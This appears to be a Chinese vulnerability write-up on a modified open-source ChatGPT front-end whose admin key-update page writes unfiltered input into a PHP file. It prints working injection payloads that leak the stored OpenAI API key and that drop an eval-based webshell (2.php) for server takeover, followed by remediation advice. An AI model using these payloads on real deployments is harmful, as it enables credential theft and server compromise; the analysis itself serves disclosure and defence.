某”基于ChatGPT“开源项目引发的交互接口getshell
字数 1278 2025-08-11 08:36:20
基于ChatGPT开源项目的安全漏洞分析与利用教学
0x00 漏洞背景
随着ChatGPT API的流行,出现了许多基于API密钥调用的第三方开源项目。本案例分析的是一款具有后台管理功能的ChatGPT二开源码项目,由于未严格过滤用户输入,导致存在API密钥泄露和Webshell获取的安全漏洞。
0x01 漏洞代码分析
1.1 项目结构
- 原版项目:无
adminkey.php文件 - 二开版本:新增
adminkey.php实现后台管理功能
1.2 关键文件分析
adminkey.php:
- 通过
Authenticate标头进行后台用户验证 - 硬编码了后台用户名和密码
- 提供两个功能:
- 更新API Key
- 更新代理URL
stream.php:
- 存储
$OPENAI_API_KEY变量 - 更新Key时直接覆盖写入此文件
1.3 漏洞点
更新Key功能的代码存在以下问题:
- 使用
preg_replace函数替换原Key值 - 未对用户输入进行字符过滤或长度限制
- 未验证输入内容的合法性
0x02 API Key获取方法
方法A:使用echo函数打印变量
Payload构造:
');echo $OPENAI_API_KEY;/*
原理:
- 使用
");闭合原语句 - 插入
echo语句打印API Key变量 - 使用
/*注释掉后续自动补全的代码
方法B:使用PHP闭合标记
Payload构造:
');?><?php echo htmlspecialchars($OPENAI_API_KEY); ?>/*
原理:
- 使用
?>提前闭合PHP代码块 - 插入新的PHP代码显示API Key
- 使用
/*注释掉后续代码
0x03 Webshell写入方法
3.1 直接写入问题
尝试直接在原文件中写入Webshell会导致:
- PHP函数可执行但浏览器不解析
- 因文件中出现多个
<?php标记导致解析异常
3.2 创建新文件方法
Payload构造:
');?>*/<?php
$file = './2.php';
$content = '<?php eval($_REQUEST[a]);?>';
file_put_contents($file, $content)
?>/*
执行步骤:
- 使用
');?>闭合原语句 - 使用
*//*注释掉Payload前后的原始代码 - 定义新文件名(
2.php)和Webshell内容 - 使用
file_put_contents()函数写入文件
注意事项:
- 需要访问
stream.php加载函数才能创建文件 - 创建过程可能需要3-5秒
0x04 漏洞利用验证
4.1 API Key泄露验证
- 访问
stream.php文件查看Key回显
4.2 Webshell验证
- 使用蚁剑等工具连接
2.php - 确认服务器控制权获取
0x05 漏洞修复建议
-
输入过滤:
- 对所有用户输入进行严格过滤
- 限制特殊字符(如
',",;,<?php等)
-
权限控制:
- 实现真正的用户认证机制
- 避免硬编码凭证
-
文件操作安全:
- 限制文件写入权限
- 对写入内容进行合法性检查
-
日志监控:
- 记录所有管理操作
- 监控异常文件修改行为
0x06 总结
本案例展示了API接口未严格过滤用户输入可能导致的两个严重后果:
- 敏感信息(API Key)泄露
- 服务器完全控制权丢失
这提醒开发者在实现人机交互接口时必须:
- 实施严格的输入验证
- 遵循最小权限原则
- 对关键操作进行多重验证
- 定期进行代码安全审计